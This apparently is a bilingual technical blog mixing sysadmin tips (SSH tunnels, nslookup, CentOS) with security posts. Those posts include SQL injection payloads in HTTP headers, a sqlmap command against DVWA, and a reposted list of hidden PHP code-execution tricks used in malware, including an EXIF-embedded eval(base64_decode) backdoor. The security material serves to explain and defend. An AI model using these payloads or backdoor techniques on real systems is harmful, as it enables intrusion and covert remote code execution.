вторник, 29 апреля 2014 г.

SQL injection scanners benchmark

Positives (vulnerable)False positives (not vulnerable)Positives with unstable responseFalse positives with unstable response
Total16224114562016840
sqlmap 0.8-11128229576229
skipfish 1.81b10937378237
wapiti 2.2.1111515813443
acunetix7395010030
w3af 1.0-rc5133161981572126

Potential HTTP Headers for SQL injections

HTTP Header fields
HTTP header fields are components of the message header of requests and responses in the Hypertext Transfer Protocol (HTTP). They define the operating parameters of an HTTP transaction.
Example: Request HTTP
GET / HTTP/1.1
Connection: Keep-Alive
Keep-Alive: 300
Accept:*/*
Host: host
Accept-Language: en-us
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US;
rv:1.9.2.16) Gecko/20110319 Firefox/3.6.16 ( .NET CLR 3.5.30729; .NET4.0E)
Cookie: guest_id=v1%3A1328019064; pid=v1%3A1328839311134
We can consider the HTTP Cookies, when are stored in databases for sessions identification, as the first potential HTTP variables which should be tested. We will see next in an example of Cookie based SQL injection. There are also other HTTP headers related to the application.

X-Forwarded-For

X-Forwarded-For is an HTTP header field considered as a de facto standard for identifying the originating IP address of a client connecting to a web server through an HTTP proxy or load balancer.

We will see an example of this flaw basing of a form submission.
$req = mysql_query("SELECT user,password FROM admins WHERE user='".sanitize($_POST['user'])."' AND password='".md5($_POST['password'])."' AND ip_adr='".ip_adr()."'"); 
The variable login is correctly controlled due to the sanitize() method.
function sanitize($param){ if (is_numeric($param)) { return $param; } else { return mysql_real_escape_string($param); } }
Let us inspect the ip variable. It is allocating the output of the ip_addr() method.
function ip_adr() { if
(isset($_SERVER['HTTP_X_FORWARDED_FOR'])) { $ip_adr = $_SERVER['HTTP_X_FORWARDED_FOR']; } else { $ip_adr = $_SERVER["REMOTE_ADDR"]; } if (preg_match("#^[0-9]{1,3}.[0-9]{1,3}.[0-9]{1,3}.[0-9]{1,3}#",$ip_addr)) { return $ip_adr; } else { return $_SERVER["REMOTE_ADDR"]; } }
Obviously, the IP address is retrieved from the HTTP header X_FORWARDED_FOR. This later is controlled by the preg_match which verifies if this parameter does hold at least one IP address. As a matter of fact, the environment variable HTTP_X_FORWARDED_FOR is not properly sanitized before its value being used in the SQL query. This can lead to run any SQL query by injecting arbitrary SQL code into this field.
The simple modification of this header field to something like:
GET /index.php HTTP/1.1
Host: [host]
X_FORWARDED_FOR :127.0.0.1' or 1=1#
will lead to bypass the authentication control.


User-agent

User agent is an HTTP header field gives the software program used by the original client. This is for statistical purposes and the tracing of protocol violations. It should be included. The first white space delimited word must be the software product name, with an optional slash and version designator.
Not all applications are written to capture the user-agent data, but sometimes applications are designed to store such information (ex: shopping cart providers) to make use of it. In this case, it’s worth investigating the user-agent header for possible issues.
HTTP query example:
GET /index.php HTTP/1.1
Host: [host]
User-Agent: aaa' or 1/* 
 
Referer

Referer is another HTTP header which can be vulnerable to SQL injection once the application is storing it in database without sanitizing it. It’s an optional header field that allows the client to specify, for the server’s benefit, the address ( URI ) of the document (or element within the document) from which the URI in the request was obtained. This allows a server to generate lists of back-links to documents, for interest, logging, etc. It allows bad links to be traced for maintenance.
Example:
GET /index.php HTTP/1.1 Host: [host] User-Agent: aaa' or 1/* Referer: http://www.yaboukir.com

Attacker’s perspective?

As we all know, injection flaws are ranked the first in The OWASP Top 10 Web Application Security Risks. Attackers are increasingly seeking for injection points to get full access of your databases. No matter the injection input vector’s type, whether it’s a GET, POST, Cookie or other HTTP headers; the important for intruders is always to have at least one injection point which let them start the exploitation phase.

Manually testing Cookie based SQL injections

Sqlmap as example

Sqlmap is a popular open source penetration testing tool that automates the process of detecting and exploiting SQL injection flaws and taking over of database servers.
Sqlmap supports the HTTP cookie features so it can be useful in two ways:
  • Authentication based upon cookies when the web application requires that.
  • Detection and exploitation of SQL injection on such header values.
By default sqlmap tests all GET parameters and POST parameters. When the value of –level is set to 2 or above it tests also HTTP Cookie header values. When this value is set to 3 or above, it tests also HTTP User-Agent and HTTP Referer header value for SQL injections. It is however possible to manually specify a comma-separated list of parameter(s) that you want sqlmap to test. This will bypass the dependence on the value of –level too.

Tested HTTP parameter Level in sqlmap
GET 1 (Default)
POST 1 (Default)
HTTP Cookie 2 ≥
HTTP User-Agent 3 ≥
HTTP Referer 3 ≥

For instance, to test for GET parameter id and for HTTP User-Agent only, provide -p id,user-agent.
This is an example of how we can test the parameter named security of an HTTP Cookie of the DVWA (Damn Vulnerable Web Application).
./sqlmap.py -u 'http://127.0.0.1/vulnerabilities/sqli/?id=1&Submit=Submit#'
--cookie='PHPSESSID=0e4jfbrgd8190ig3uba7rvsip1; security=low'
--string='First name' --dbs --level 3 -p PHPSESSID
 
 
 

Туннелирование порта через SSH

Например, работаем на виртуальном хостинге, там Apache, MySQL. Хотим подключить визуальный клиент администрирования MySQL. Много есть случаев, когда было бы удобно коннектится на удаленном компьютере к его локальным портам.
Организация туннеля

Давайте попробуем подключить клиент администрирования MySQL на удаленном компьютере.

Естественно считаем, что вход по SSH по ключу уже настроен.

Тогда поднять туннель не просто, а очень просто. На своем локальном компьютере выполняем команду:
ssh -f username@remote_host -L 127.0.0.1:4306:127.0.0.1:3306 -N

Где:

-f    Говорит ssh уйти в бэкграунд
username    Имя пользователя на удаленном компьютере
remote_host    Имя или IP адрес удаленного хоста
-L 127.0.0.1:4306:127.0.0.1:3306    Пробросить тоннель с локального порта 4306 на удаленный порт 3306
-N    Не выполнять команду на удаленном хосте.
Подключение клиента

Теперь можно подключать клиента. Запускаем mysql-admin и конфигурируем его следующим образом:
Server Hostname:    127.0.0.1
Port:    4306

Пользователь и пароль - ну ясно, так как у нас сконфигурировано.

Примечание: Мы перенаправили с нашего хоста порт 4306, для того, чтобы в случае, если у нас на локальном хосте тоже работает MySQL, не мешать ему.

http://blog.swlogic.eu/2011/07/16/tunnelirovanie-porta-cherez-ssh/

пятница, 28 марта 2014 г.

nslookup инструкция

nslookup (name server lookup) это утилита командной строки, вариант DNS клиента. Чаще всего используется для диагностики проблем с разрешением доменных имен. Может работать в интерактивном и не интерактивном режиме. Напишу немного о втором варианте. Формат использования в не интерактивном режиме простой:
    nslookup [name] [name server]
Если мы не указываем name server, то для запроса используется DNS-сервер который указан в вашей операционной системе (/etc/resolv.conf). Сразу на примерах:
    nslookup 13monkeys.ru
Server: 127.0.0.1
Address: 127.0.0.1#53

Non-authoritative answer:
Name: 13monkeys.ru
Address: 77.222.40.38
Видим что по данным DNS-сервера 127.0.0.1 имени 13monkeys.ru соответствует адрес 77.222.40.38

Имя сервера доменных имен, который будет выполнять рекурсивные запросы, можно задать в качестве последнего аргумента командной строки nslookup.
Запросим непосредственно у DNS-сервера 8.8.8.8:
    nslookup 13monkeys.ru 8.8.8.8 (8.8.8.8 или ns1.reg.ru)
Server: 8.8.8.8
Address: 8.8.8.8#53

Non-authoritative answer:
Name: 13monkeys.ru
Address: 77.222.40.38
И для примера, у одного из ns-серверов, которые прописаны для домена:
    nslookup 13monkeys.ru ns1.spaceweb.ru
Server: ns1.spaceweb.ru
Address: 77.222.40.2#53

Name: 13monkeys.ru
Address: 77.222.40.38
Пропишем в местном DNS-сервере А-запись 13monkeys.ru 127.0.0.2 и проверим:
    nslookup 13monkeys.ru 192.168.0.1
Server: 192.168.0.1
Address: 192.168.0.1#53

Non-authoritative answer:
Name: 13monkeys.ru
Address: 127.0.0.2
Утилитой так же можно смотреть PTR-запись:
    nslookup 77.222.40.38
Server: 127.0.0.1
Address: 127.0.0.1#53

Non-authoritative answer:
38.40.222.77.in-addr.arpa name = ontario.sweb.ru.

Authoritative answers can be found from:
MX-записи:
    nslookup -type=MX 13monkeys.ru
Server: 127.0.0.1
Address: 127.0.0.1#53

Non-authoritative answer:
13monkeys.ru mail exchanger = 10 mx1.spaceweb.ru.
13monkeys.ru mail exchanger = 20 mx2.spaceweb.ru.

Authoritative answers can be found from:
И прочие другие, просто указываем с ключем -type=SOA/MX/CNAME/NS и т. д. На самом деле можно получить более полный отчет, если включить режим отладки:
nslookup -debug gaga.ru

воскресенье, 23 марта 2014 г.

How to change system language CentOS 6

echo $LANG # show current system language
vi /etc/sysconfig/i18n #set LANG="en_US.UTF-8"
source /etc/sysconfig/i18n

There are unfinished transactions remaining yum

There are unfinished transactions remaining. You might consider running yum-complete-transaction first to finish them.
The program yum-complete-transaction is found in the yum-utils package.
--> Running transaction check
Just type 
yum-complete-transaction
and if the command not found
yum install yum-utils 
yum-complete-transaction

суббота, 22 марта 2014 г.

Deekline & Ed Solo - Always RIP (Eddie K & Minus Remix)


Продвинутые методы неявного вызова php кода, использующиеся во вредоносных скриптах

В качестве примера вредоносного кода снова будем использовать вызов
echo 'Test'

Поскольку цель статьи показать различные подходы и механизмы скрытого выполнения кода, то для простоты функция, которая выполняет наш «вредоносный код» будет объявлена рядом с вызываемым ее неявно кодом. В реальной жизни вредоносный код и его вызов находятся далеко друг от друга, как минимум в разных php скриптах, но чаще код подгружается из базы данных, мета-данных изображений, с другого сервера, после чего выполняется функцией eval, assert, preg_replace и им подобными.



Вариант №1: использование механизма autoload.

Вредоносный код вызывается в autoload обработчике при создании несуществующего класса.

<?php
function __autoload($classname) {
  echo 'Test';
}

//...
new myEvilClass();


Вариант №2: использование еще одного механизма autoload в версии 5.3 и выше

<?php
// php >= 5.3.0

class EvilClass {
    static public function evil($name) {
        echo 'Test';
    }
}

// ...

spl_autoload_register(__NAMESPACE__ .'\EvilClass::evil'); 

// ...

new Malware; 


Вариант №3: использование обработчика сессии.

В момент создания сессии будет вызвана зарегистрированная функция.

<?php
function just_do_it() {
  echo 'Test';
}

// ...

$f = function() {};
session_set_save_handler("just_do_it", $f, $f, $f, $f, $f);
@session_start();



Вариант №4: использование итератора.

Для разнообразия не будем явно объявлять функцию. В приведенном ниже варианте код функции можно взять из любого хранилища в
виде строки и создать функцию в рантайме.

<?php
$f = create_function('', "echo 'Test';");

// ...

$it = new ArrayIterator(array(''));
iterator_apply($it, $f, array($it));


Вариант №5: вызов через обработчик исключений.

В этом врианте код для вызова может быть передан в качестве текста исключения.

<?php
function exception_handler($e) {
  preg_replace_callback('||', create_function('', $e->getMessage()), ''); 
}

// ...

set_exception_handler('exception_handler');

// ...

throw new Exception('echo "Test";');


Вариант №6: использование обработчика ошибок.

Подход подобен №5, но код неявно вызывается методами trigger_error() или user_error(). Сам код передается через текст ошибки. Стоит отметить, что данное решение работает при любых настройках error_reporting.

<?php
function error_handler($errno, $errstr, $errfile, $errline) {
  array_map(create_function('', $errstr), array(''));
}

// ...

set_error_handler('error_handler');
$badcode = 'echo "Test";';

trigger_error($badcode, E_USER_ERROR); // или user_error();


Вариант №7: использование собственного загрузчика сущностей.

Работает начиная с версии 5.4. Вредоносный код может быть в XML тегах или в служебных полях документа.

<?php
// для php >= 5.4

$xml =<<<XML
<!DOCTYPE zlodei PUBLIC "echo 'Test';" "http://example/">
<zlodei>bar</zlodei>
XML;

$dtd =<<<DTD
<!ELEMENT zlodei (#PCDATA)>
DTD;

libxml_set_external_entity_loader(
    function ($public, $system, $context) use($dtd) {
       array_reduce(array(''), create_function('', $public)); 
    }
);

// ...

$dd = new DOMDocument;
$r  = $dd->loadXML($xml);
@$dd->validate();


Вариант №8: создание собственного стрима для неявного вызова кода

Регистрируется обработчик потоков и любыми функциями, поддерживающими работу со стримами, можно выполнить код, который может быть передан в url или записан в поток. Для разнообразия вместо банального eval() код вызывается через create_function().

<?php
class MalwareStream {
    function stream_open($path, $mode, $options, &$opened_path)
    {
        $url = parse_url($path);
        $f = create_function('', $url["host"]);
        $f();

        return true;
    }
}

// ...

stream_wrapper_register("malw", "MalwareStream");

// ...

$fp = fopen('malw://echo "Test";', '');


В отличие от конструкций, перечисленных в предыдущей заметке, обнаружить подобные неявные вызовы кода при статическом анализе достаточно проблематично. Серверным антивирусным сканерам это пока не под силу.


Бонус трек
Какие еще варианты используют хакеры, чтобы загрузить и выполнить вредоносный код?

Во-первых, использование директив php_auto_append / php_auto_prepend в .htaccess файле или php.ini. Например,

php_value auto_prepend_file /images/stories/mycode.jpg


будет выполнять код из файла mycode.jpg перед выполнением любого скрипта.

Во-вторых, динамическая загрузка расширений функцией dl(). Для этого должен быть собран .so (*nix) или .dll (windows) модуль. Это достаточно редкий случай, тем не менее и он имеет место быть. Продвинутые хакеры могут разрабатывать и инжектировать модули в апач или nginx.

В-третьих, есть конструкция c обратными кавычками (являющаяся алиасом для shell_exec):

<?php
$a = `ls -la`; 
echo $a;


Она также выполнит системную команду ls -la, если, конечно, shell_exec разрешен в настройках php.

И напоследок пример неявного вызова кода, который загружается из exif заголовка jpeg файла.

<?php
$exif = exif_read_data('/home/website/images/stories/food/evil.jpg');
preg_replace($exif['Make'],$exif['Model'],'');


А jpg файл выглядит примерно так:

yOya^@^PJFIF^@^A^B^@^@d^@d^@^@ya^@?Exif^@^@II*^@
^H^@^@^@^B^@^O^A^B^@^F^@^@^@&^@^@^@^P^A^B^@m^@^@^@,^@^@^@^@^@^@^@/.*/e^
@ eval ( base64_decode("aWYgKGl zc2V0KCRfUE9TVFsie noxIl0pKSB7ZXZhbChzd
HJpcHNsYXNoZXMoJF9QT1NUWyJ6ejEiXSkpO30='));
@yi^@^QDucky^@^A^@^D^@^@^@<^@^@yi^@^NAdobe^...


Из поля Make берется /.*/e, из поля Model — @ eval(base64_decode(...)) и выполняется через preg_replace() из-за модификатора «e».


http://habrahabr.ru/post/215817/

четверг, 20 марта 2014 г.

One authentication with multiple ssh terminals

The concept is very simple — rather than each new SSH connection to a particular server opening up a new TCP connection, you instead multiplex all of your SSH connections down one TCP connection. The authentication only happens once, when the TCP connection is opened, and thereafter all your extra SSH sessions are sent down that connection.

Host *
ControlMaster auto
ControlPath ~/.ssh/cm_socket/%r@%h:%p

Then mkdir ~/.ssh/cm_socket, and you’re away. Any time a connection to a remote server exists, it’ll be used as the master for any other connections.

All of your SSH sessions are multiplexed down a single TCP connection initiated by the first SSH session, that first session must stay alive until all of the other sessions are complete. This problem will manifest itself as an apparent “hang” when you log out of the remote session that is acting as the master — instead of getting your local prompt back, SSH will just sit there. If you Ctrl-C or otherwise kill this session, all of the other sessions you’ve got setup to that server will drop, so don’t do that. Instead, when you logout of all the other sessions, the master will then return to the local prompt.

Boozoo Bajou - Way Down (ft. Ben Weaver)